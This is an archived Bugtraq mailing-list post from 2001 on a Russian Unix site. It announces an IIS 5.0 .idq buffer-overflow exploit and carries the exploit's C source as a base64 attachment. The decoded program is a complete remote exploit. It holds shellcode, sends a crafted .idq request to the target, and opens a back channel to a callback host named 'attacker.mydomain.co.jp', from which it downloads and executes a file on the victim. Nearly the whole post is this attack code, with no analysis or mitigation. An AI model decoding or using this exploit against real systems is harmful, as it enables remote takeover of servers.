The OpenNET Project / Index page
BSD, Linux, Cisco, Web, Palm, other unix
RUSSIAN version

Search
Новость: Новая программа: suspend - патчи для реализации "Suspend to disk" в Linux
SOFT - Unix Software catalog
LINKS - Unix resources
TOPIC - Articles from usenet
DOCUMENTATION - Unix guides
News | Tips | MAN | Forum | BUGs | LastSoft | Keywords | BOOKS (selected) | Linux HowTo | FAQ Archive

IIS5 .idq exploit


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Wed, 18 Jul 2001 18:13:32 -0700 (PDT)
From: Jason Staples - CNW <ellis@cnw.com>
To: bugtraq@securityfocus.com
Subject: IIS5 .idq exploit

---559023410-758783491-995505212=:9892
Content-Type: TEXT/PLAIN; charset=US-ASCII


SANS accounced its availability today, and after spending a bit of time
searching, I finally found the new IIS5 exploit.

http://www.geocities.co.jp/MotorCity/5319/iis5idq_exp.txt

Regards,
Jason

+--------------------------------------+----------------------------+
| Jason Staples          jason@cnw.com | /"\                        |
| Network Engineer    Security Analyst | \ /  ASCII Ribbon Campaign |
|                                      |  X    Against  HTML E-Mail |
| Connect Northwest Internet Services. | / \    <!-- <HTML> -->     |
+--------------------------------------+----------------------------+

---559023410-758783491-995505212=:9892
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="iis5idq_exp.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.GSO.3.96.1010718181332.9892C@baker.cnw.com>
Content-Description: 

LyoNCiBJSVM1LjAgLmlkcSBvdmVycnVuIHJlbW90ZSBleHBsb2l0DQogUHJv
Z3JhbW1lZCBieSBoc2ogIDogMDEuMDYuMjENCg0KIGNvZGUgZmxvdzoNCiAg
b3ZlcnJ1biAtPiBqbXAgb3IgY2FsbCBlYnggLT4gam1wIDggLT4NCiAgY2hl
Y2sgc2hlbGxjb2RlIGFkZHIgYW5kIGp1bXAgdG8gdGhlcmUgLT4NCiAgc2hl
bGxjb2RlIC0+IG1ha2UgYmFjayBjaGFubmVsIC0+IGRvd25sb2FkICYgZXhl
YyBjb2RlDQoqLw0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3Rk
bGliLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c2lnbmFs
Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3Nv
Y2tldC5oPg0KI2luY2x1ZGUgPHN5cy9pb2N0bC5oPg0KI2luY2x1ZGUgPHN5
cy90aW1lLmg+DQojaW5jbHVkZSA8c3lzL3dhaXQuaD4NCiNpbmNsdWRlIDxl
cnJuby5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPGZjbnRs
Lmg+DQojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPGxpbWl0
cy5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8YXJwYS9pbmV0
Lmg+DQoNCiNkZWZpbmUgUkVUICAgICAgICAgICAgICAgICAweDc3ZTUxNmRl
ICAvKiBqbXAgb3IgY2FsbCBlYnggKi8NCiNkZWZpbmUgR01IQU5ETEVBICAg
ICAgICAgICAweDc3ZTU2YzQyICAvKiBBZGRyZXNzIG9mIEdldE1vZHVsZUhh
bmRsZUEgKi8NCiNkZWZpbmUgR1BBRERSRVNTICAgICAgICAgICAweDc3ZTU5
YWMxICAvKiBBZGRyZXNzIG9mIEdldFByb2NBZGRyZXNzICovDQojZGVmaW5l
IEdNSEFORExFQV9PRkZTRVQgICAgMjQNCiNkZWZpbmUgR1BBRERSRVNTX09G
RlNFVCAgICA2MQ0KI2RlZmluZSBPRkZTRVQgICAgICAgICAgICAgIDIzNCAg
ICAgICAgIC8qIGV4Y2VwdGlvbiBoYW5kbGVyIG9mZnNldCAqLw0KI2RlZmlu
ZSBOT1AgICAgICAgICAgICAgICAgIDB4NDENCg0KI2RlZmluZSBNQVNLSU5H
ICAgICAgICAgICAgIDENCiNpZiBNQVNLSU5HDQojZGVmaW5lIFBPUlRNQVNL
ICAgICAgICAgICAgMHg0MTQxDQojZGVmaW5lIEFERFJNQVNLICAgICAgICAg
ICAgMHg0MTQxNDE0MQ0KI2RlZmluZSBQT1JUTUFTS19PRkZTRVQgICAgIDEy
OA0KI2RlZmluZSBBRERSTUFTS19PRkZTRVQgICAgIDEzMw0KI2VuZGlmDQoN
CiNkZWZpbmUgUE9SVCAgICAgICAgICAgICAgICA4MA0KI2RlZmluZSBBRERS
ICAgICAgICAgICAgICAgICJhdHRhY2tlci5teWRvbWFpbi5jby5qcCINCiNk
ZWZpbmUgUE9SVF9PRkZTRVQgICAgICAgICAxMTUNCiNkZWZpbmUgQUREUl9P
RkZTRVQgICAgICAgICAxMjANCnVuc2lnbmVkIGNoYXIgc2hlbGxjb2RlW109
DQoiXHg1Qlx4MzNceEMwXHg0MFx4NDBceEMxXHhFMFx4MDlceDJCXHhFMFx4
MzNceEM5XHg0MVx4NDFceDMzXHhDMCINCiJceDUxXHg1M1x4ODNceEMzXHgw
Nlx4ODhceDAzXHhCOFx4RERceENDXHhCQlx4QUFceEZGXHhEMFx4NTlceDUw
Ig0KIlx4NDNceEUyXHhFQlx4MzNceEVEXHg4Qlx4RjNceDVGXHgzM1x4QzBc
eDgwXHgzQlx4MkVceDc1XHgxRVx4ODgiDQoiXHgwM1x4ODNceEZEXHgwNFx4
NzVceDA0XHg4Qlx4N0NceDI0XHgxMFx4NTZceDU3XHhCOFx4RERceENDXHhC
QiINCiJceEFBXHhGRlx4RDBceDUwXHg4RFx4NzNceDAxXHg0NVx4ODNceEZE
XHgwOFx4NzRceDAzXHg0M1x4RUJceEQ4Ig0KIlx4OERceDc0XHgyNFx4MjBc
eDMzXHhDMFx4NTBceDQwXHg1MFx4NDBceDUwXHg4Qlx4NDZceEZDXHhGRlx4
RDAiDQoiXHg4Qlx4RjhceDMzXHhDMFx4NDBceDQwXHg2Nlx4ODlceDA2XHhD
MVx4RTBceDAzXHg1MFx4NTZceDU3XHg2NiINCiJceEM3XHg0Nlx4MDJceEJC
XHhBQVx4QzdceDQ2XHgwNFx4NDRceDMzXHgyMlx4MTEiDQojaWYgTUFTS0lO
Rw0KIlx4NjZceDgxXHg3Nlx4MDJceDQxXHg0MVx4ODFceDc2XHgwNFx4NDFc
eDQxXHg0MVx4NDEiDQojZW5kaWYNCiJceDhCXHg0Nlx4RjhceEZGXHhEMFx4
MzNceEMwIg0KIlx4QzdceDA2XHg1Q1x4NjFceDYxXHgyRVx4QzdceDQ2XHgw
NFx4NjVceDc4XHg2NVx4NDFceDg4XHg0Nlx4MDciDQoiXHg2Nlx4QjhceDgw
XHgwMVx4NTBceDY2XHhCOFx4MDFceDgxXHg1MFx4NTZceDhCXHg0Nlx4RUNc
eEZGXHhEMCINCiJceDhCXHhEOFx4MzNceEMwXHg1MFx4NDBceEMxXHhFMFx4
MDlceDUwXHg4RFx4NEVceDA4XHg1MVx4NTdceDhCIg0KIlx4NDZceEY0XHhG
Rlx4RDBceDg1XHhDMFx4N0VceDBFXHg1MFx4OERceDRFXHgwOFx4NTFceDUz
XHg4Qlx4NDYiDQoiXHhFOFx4RkZceEQwXHg5MFx4RUJceERDXHg1M1x4OEJc
eDQ2XHhFNFx4RkZceEQwXHg1N1x4OEJceDQ2XHhGMCINCiJceEZGXHhEMFx4
MzNceEMwXHg1MFx4NTZceDU2XHg4Qlx4NDZceEUwXHhGRlx4RDBceDMzXHhD
MFx4RkZceEQwIjsNCg0KdW5zaWduZWQgY2hhciBzdG9yYWdlW109DQoiXHhF
Qlx4MDIiDQoiXHhFQlx4NEUiDQoiXHhFOFx4RjlceEZGXHhGRlx4RkYiDQoi
bXN2Y3J0LndzMl8zMi5zb2NrZXQuY29ubmVjdC5yZWN2LmNsb3Nlc29ja2V0
LiINCiJfb3Blbi5fd3JpdGUuX2Nsb3NlLl9leGVjbC4iOw0KDQp1bnNpZ25l
ZCBjaGFyIGZvcndhcmRqdW1wW109DQoiJXUwOGViIjsNCg0KdW5zaWduZWQg
Y2hhciBqdW1wX3RvX3NoZWxsW109DQoiJXVDMDMzJXVCODY2JXUwMzFGJXUw
MzQwJXU4QkQ4JXU4QjAzIg0KIiV1Njg0MCV1REIzMyV1MzBCMyV1QzMwMyV1
RTBGRiI7DQoNCnVuc2lnbmVkIGludCByZXNvbHZlKGNoYXIgKm5hbWUpDQp7
DQogICAgc3RydWN0IGhvc3RlbnQgKmhlOw0KICAgIHVuc2lnbmVkIGludCBp
cDsNCg0KICAgIGlmKChpcD1pbmV0X2FkZHIobmFtZSkpPT0oLTEpKQ0KICAg
IHsNCiAgICAgICAgaWYoKGhlPWdldGhvc3RieW5hbWUobmFtZSkpPT0wKQ0K
ICAgICAgICAgICAgcmV0dXJuIDA7DQogICAgICAgIG1lbWNweSgmaXAsaGUt
PmhfYWRkciw0KTsNCiAgICB9DQogICAgcmV0dXJuIGlwOw0KfQ0KDQppbnQg
bWFrZV9jb25uZWN0aW9uKGNoYXIgKmFkZHJlc3MsaW50IHBvcnQpDQp7DQog
ICAgc3RydWN0IHNvY2thZGRyX2luIHNlcnZlcix0YXJnZXQ7DQogICAgaW50
IHMsaSxiZjsNCiAgICBmZF9zZXQgd2Q7DQogICAgc3RydWN0IHRpbWV2YWwg
dHY7DQoNCiAgICBzID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7
DQogICAgaWYoczwwKQ0KICAgICAgICByZXR1cm4gLTE7DQogICAgbWVtc2V0
KChjaGFyICopJnNlcnZlciwwLHNpemVvZihzZXJ2ZXIpKTsNCiAgICBzZXJ2
ZXIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2VydmVyLnNpbl9hZGRy
LnNfYWRkciA9IGh0b25sKElOQUREUl9BTlkpOw0KICAgIHNlcnZlci5zaW5f
cG9ydCA9IDA7DQoNCiAgICB0YXJnZXQuc2luX2ZhbWlseSA9IEFGX0lORVQ7
DQogICAgdGFyZ2V0LnNpbl9hZGRyLnNfYWRkciA9IHJlc29sdmUoYWRkcmVz
cyk7DQogICAgaWYodGFyZ2V0LnNpbl9hZGRyLnNfYWRkcj09MCkNCiAgICB7
DQogICAgICAgIGNsb3NlKHMpOw0KICAgICAgICByZXR1cm4gLTI7DQogICAg
fQ0KICAgIHRhcmdldC5zaW5fcG9ydCA9IGh0b25zKHBvcnQpOw0KICAgIGJm
ID0gMTsNCiAgICBpb2N0bChzLEZJT05CSU8sJmJmKTsNCiAgICB0di50dl9z
ZWMgPSAxMDsNCiAgICB0di50dl91c2VjID0gMDsNCiAgICBGRF9aRVJPKCZ3
ZCk7DQogICAgRkRfU0VUKHMsJndkKTsNCiAgICBjb25uZWN0KHMsKHN0cnVj
dCBzb2NrYWRkciAqKSZ0YXJnZXQsc2l6ZW9mKHRhcmdldCkpOw0KICAgIGlm
KChpPXNlbGVjdChzKzEsMCwmd2QsMCwmdHYpKT09KC0xKSkNCiAgICB7DQog
ICAgICAgIGNsb3NlKHMpOw0KICAgICAgICByZXR1cm4gLTM7DQogICAgfQ0K
ICAgIGlmKGk9PTApDQogICAgew0KICAgICAgICBjbG9zZShzKTsNCiAgICAg
ICAgcmV0dXJuIC00Ow0KICAgIH0NCiAgICBpID0gc2l6ZW9mKGludCk7DQog
ICAgZ2V0c29ja29wdChzLFNPTF9TT0NLRVQsU09fRVJST1IsJmJmLCZpKTsN
CiAgICBpZigoYmYhPTApfHwoaSE9c2l6ZW9mKGludCkpKQ0KICAgIHsNCiAg
ICAgICAgY2xvc2Uocyk7DQogICAgICAgIGVycm5vID0gYmY7DQogICAgICAg
IHJldHVybiAtNTsNCiAgICB9DQogICAgaW9jdGwocyxGSU9OQklPLCZiZik7
DQogICAgcmV0dXJuIHM7DQp9DQoNCmludCBnZXRfY29ubmVjdGlvbihpbnQg
cG9ydCkNCnsNCiAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4gbG9jYWwscmVtb3Rl
Ow0KICAgIGludCBsc29jayxjc29jayxsZW4scmV1c2VfYWRkcjsNCg0KICAg
IGxzb2NrID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogICAg
aWYobHNvY2s8MCkNCiAgICB7DQogICAgICAgIHBlcnJvcigic29ja2V0Iik7
DQogICAgICAgIGV4aXQoMSk7DQogICAgfQ0KICAgIHJldXNlX2FkZHIgPSAx
Ow0KICAgIGlmKHNldHNvY2tvcHQobHNvY2ssU09MX1NPQ0tFVCxTT19SRVVT
RUFERFIsKGNoYXIgKikmcmV1c2VfYWRkcixzaXplb2YocmV1c2VfYWRkcikp
PDApDQogICAgew0KICAgICAgICBwZXJyb3IoInNldHNvY2tvcHQiKTsNCiAg
ICAgICAgY2xvc2UobHNvY2spOw0KICAgICAgICBleGl0KDEpOw0KICAgIH0N
CiAgICBtZW1zZXQoKGNoYXIgKikmbG9jYWwsMCxzaXplb2YobG9jYWwpKTsN
CiAgICBsb2NhbC5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiAgICBsb2NhbC5z
aW5fcG9ydCA9IGh0b25zKHBvcnQpOw0KICAgIGxvY2FsLnNpbl9hZGRyLnNf
YWRkciA9IGh0b25sKElOQUREUl9BTlkpOw0KICAgIGlmKGJpbmQobHNvY2ss
KHN0cnVjdCBzb2NrYWRkciAqKSZsb2NhbCxzaXplb2YobG9jYWwpKTwwKQ0K
ICAgIHsNCiAgICAgICAgcGVycm9yKCJiaW5kIik7DQogICAgICAgIGNsb3Nl
KGxzb2NrKTsNCiAgICAgICAgZXhpdCgxKTsNCiAgICB9DQogICAgaWYobGlz
dGVuKGxzb2NrLDEpPDApDQogICAgew0KICAgICAgICBwZXJyb3IoImxpc3Rl
biIpOw0KICAgICAgICBjbG9zZShsc29jayk7DQogICAgICAgIGV4aXQoMSk7
DQogICAgfQ0KcmV0cnk6DQogICAgbGVuID0gc2l6ZW9mKHJlbW90ZSk7DQog
ICAgY3NvY2sgPSBhY2NlcHQobHNvY2ssKHN0cnVjdCBzb2NrYWRkciAqKSZy
ZW1vdGUsJmxlbik7DQogICAgaWYoY3NvY2s8MCkNCiAgICB7DQogICAgICAg
IGlmKGVycm5vIT1FSU5UUikNCiAgICAgICAgew0KICAgICAgICAgICAgcGVy
cm9yKCJhY2NlcHQiKTsNCiAgICAgICAgICAgIGNsb3NlKGxzb2NrKTsNCiAg
ICAgICAgICAgIGV4aXQoMSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZQ0K
ICAgICAgICAgICAgZ290byByZXRyeTsNCiAgICB9DQogICAgY2xvc2UobHNv
Y2spOw0KICAgIHJldHVybiBjc29jazsNCn0NCg0KaW50IG1haW4oaW50IGFy
Z2MsY2hhciAqYXJndltdKQ0Kew0KICAgIGludCBpLGoscyxwaWQ7DQogICAg
dW5zaWduZWQgaW50IGNiOw0KICAgIHVuc2lnbmVkIHNob3J0IHBvcnQ7DQog
ICAgY2hhciAqcCxidWZbNTEyXSxidWYyWzUxMl0sYnVmM1syMDQ4XTsNCiAg
ICBGSUxFICpmcDsNCg0KICAgIGlmKGFyZ2MhPTMpDQogICAgew0KICAgICAg
ICBwcmludGYoInVzYWdlOiAkICVzIGlwIGZpbGVcbiIsYXJndlswXSk7DQog
ICAgICAgIHJldHVybiAtMTsNCiAgICB9DQogICAgaWYoKGZwPWZvcGVuKGFy
Z3ZbMl0sInJiIikpPT0wKQ0KICAgICAgICByZXR1cm4gLTI7DQoNCiAgICBp
ZighKGNiPXJlc29sdmUoQUREUikpKQ0KICAgICAgICByZXR1cm4gLTM7DQoN
CiAgICBpZigocGlkPWZvcmsoKSk8MCkNCiAgICAgICAgcmV0dXJuIC00Ow0K
DQogICAgaWYocGlkKQ0KICAgIHsNCiAgICAgICAgZmNsb3NlKGZwKTsNCiAg
ICAgICAgcyA9IG1ha2VfY29ubmVjdGlvbihhcmd2WzFdLDgwKTsNCiAgICAg
ICAgaWYoczwwKQ0KICAgICAgICB7DQogICAgICAgICAgICBwcmludGYoImNv
bm5lY3QgZXJyb3I6WyVkXS5cbiIscyk7DQogICAgICAgICAgICBraWxsKHBp
ZCxTSUdURVJNKTsNCiAgICAgICAgICAgIHJldHVybiAtNTsNCiAgICAgICAg
fQ0KDQogICAgICAgIGogPSBzdHJsZW4oc2hlbGxjb2RlKTsNCiAgICAgICAg
Kih1bnNpZ25lZCBpbnQgKikmc2hlbGxjb2RlW0dNSEFORExFQV9PRkZTRVRd
ID0gR01IQU5ETEVBOw0KICAgICAgICAqKHVuc2lnbmVkIGludCAqKSZzaGVs
bGNvZGVbR1BBRERSRVNTX09GRlNFVF0gPSBHUEFERFJFU1M7DQogICAgICAg
IHBvcnQgPSBodG9ucyhQT1JUKTsNCiNpZiBNQVNLSU5HDQogICAgICAgIHBv
cnQgXj0gUE9SVE1BU0s7DQogICAgICAgIGNiIF49IEFERFJNQVNLOw0KICAg
ICAgICAqKHVuc2lnbmVkIHNob3J0ICopJnNoZWxsY29kZVtQT1JUTUFTS19P
RkZTRVRdID0gUE9SVE1BU0s7DQogICAgICAgICoodW5zaWduZWQgaW50ICop
JnNoZWxsY29kZVtBRERSTUFTS19PRkZTRVRdID0gQUREUk1BU0s7DQojZW5k
aWYNCiAgICAgICAgKih1bnNpZ25lZCBzaG9ydCAqKSZzaGVsbGNvZGVbUE9S
VF9PRkZTRVRdID0gcG9ydDsNCiAgICAgICAgKih1bnNpZ25lZCBpbnQgKikm
c2hlbGxjb2RlW0FERFJfT0ZGU0VUXSA9IGNiOw0KICAgICAgICBmb3IoaT0w
O2k8c3RybGVuKHNoZWxsY29kZSk7aSsrKQ0KICAgICAgICB7DQogICAgICAg
ICAgICBpZigoc2hlbGxjb2RlW2ldPT0weDBhKXx8DQogICAgICAgICAgICAg
ICAoc2hlbGxjb2RlW2ldPT0weDBkKXx8DQogICAgICAgICAgICAgICAoc2hl
bGxjb2RlW2ldPT0weDNhKSkNCiAgICAgICAgICAgICAgICBicmVhazsNCiAg
ICAgICAgfQ0KICAgICAgICBpZihpIT1qKQ0KICAgICAgICB7DQogICAgICAg
ICAgICBwcmludGYoImJhZCBwb3J0bm8gb3IgaXAgYWRkcmVzcy4uLlxuIik7
DQogICAgICAgICAgICBjbG9zZShzKTsNCiAgICAgICAgICAgIGtpbGwocGlk
LFNJR1RFUk0pOw0KICAgICAgICAgICAgcmV0dXJuIC02Ow0KICAgICAgICB9
DQoNCiAgICAgICAgbWVtc2V0KGJ1ZiwxLHNpemVvZihidWYpKTsNCiAgICAg
ICAgcCA9ICZidWZbT0ZGU0VULTJdOw0KICAgICAgICBzcHJpbnRmKHAsIiVz
Iixmb3J3YXJkanVtcCk7DQogICAgICAgIHAgKz0gc3RybGVuKGZvcndhcmRq
dW1wKTsNCiAgICAgICAgKnArKyA9IDE7DQogICAgICAgICpwKysgPSAnJSc7
DQogICAgICAgICpwKysgPSAndSc7DQogICAgICAgIHNwcmludGYocCwiJTA0
eCIsKFJFVD4+MCkmMHhmZmZmKTsNCiAgICAgICAgcCArPSA0Ow0KICAgICAg
ICAqcCsrID0gJyUnOw0KICAgICAgICAqcCsrID0gJ3UnOw0KICAgICAgICBz
cHJpbnRmKHAsIiUwNHgiLChSRVQ+PjE2KSYweGZmZmYpOw0KICAgICAgICBw
ICs9IDQ7DQogICAgICAgICpwKysgPSAxOw0KICAgICAgICBzcHJpbnRmKHAs
IiVzIixqdW1wX3RvX3NoZWxsKTsNCg0KICAgICAgICBtZW1zZXQoYnVmMixO
T1Asc2l6ZW9mKGJ1ZjIpKTsNCiAgICAgICAgbWVtY3B5KCZidWYyW3NpemVv
ZihidWYyKS1zdHJsZW4oc2hlbGxjb2RlKS1zdHJsZW4oc3RvcmFnZSktMV0s
c3RvcmFnZSxzdHJsZW4oc3RvcmFnZSkpOw0KICAgICAgICBtZW1jcHkoJmJ1
ZjJbc2l6ZW9mKGJ1ZjIpLXN0cmxlbihzaGVsbGNvZGUpLTFdLHNoZWxsY29k
ZSxzdHJsZW4oc2hlbGxjb2RlKSk7DQogICAgICAgIGJ1ZjJbc2l6ZW9mKGJ1
ZjIpLTFdID0gMDsNCg0KICAgICAgICBzcHJpbnRmKGJ1ZjMsIkdFVCAvYS5p
ZHE/JXM9YSBIVFRQLzEuMFxyXG5TaGVsbDogJXNcclxuXHJcbiIsYnVmLGJ1
ZjIpOw0KICAgICAgICB3cml0ZShzLGJ1ZjMsc3RybGVuKGJ1ZjMpKTsNCg0K
ICAgICAgICBwcmludGYoIi0tLSIpOw0KICAgICAgICBmb3IoaT0wO2k8c3Ry
bGVuKGJ1ZjMpO2krKykNCiAgICAgICAgew0KICAgICAgICAgICAgaWYoKGkl
MTYpPT0wKQ0KICAgICAgICAgICAgICAgIHByaW50ZigiXG4iKTsNCiAgICAg
ICAgICAgIHByaW50ZigiJTAyWCAiLGJ1ZjNbaV0mMHhmZik7DQogICAgICAg
IH0NCiAgICAgICAgcHJpbnRmKCJcbi0tLVxuIik7DQoNCiAgICAgICAgd2Fp
dCgwKTsNCiAgICAgICAgc2xlZXAoMSk7DQogICAgICAgIHNodXRkb3duKHMs
Mik7DQogICAgICAgIGNsb3NlKHMpOw0KDQogICAgICAgIHByaW50ZigiRG9u
ZS5cbiIpOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBzID0g
Z2V0X2Nvbm5lY3Rpb24oUE9SVCk7DQogICAgICAgIGogPSAwOw0KICAgICAg
ICB3aGlsZSgoaT1mcmVhZChidWYsMSxzaXplb2YoYnVmKSxmcCkpKQ0KICAg
ICAgICB7DQogICAgICAgICAgICB3cml0ZShzLGJ1ZixpKTsNCiAgICAgICAg
ICAgIGogKz0gaTsNCiAgICAgICAgICAgIHByaW50ZigiLiIpOw0KICAgICAg
ICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgIH0NCiAgICAgICAgZmNs
b3NlKGZwKTsNCiAgICAgICAgcHJpbnRmKCJcbiVkIGJ5dGVzIHNlbmQuLi5c
biIsaik7DQoNCiAgICAgICAgc2h1dGRvd24ocywyKTsNCiAgICAgICAgY2xv
c2Uocyk7DQogICAgfQ0KDQogICAgcmV0dXJuIDA7DQp9DQoNCg==
---559023410-758783491-995505212=:9892--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.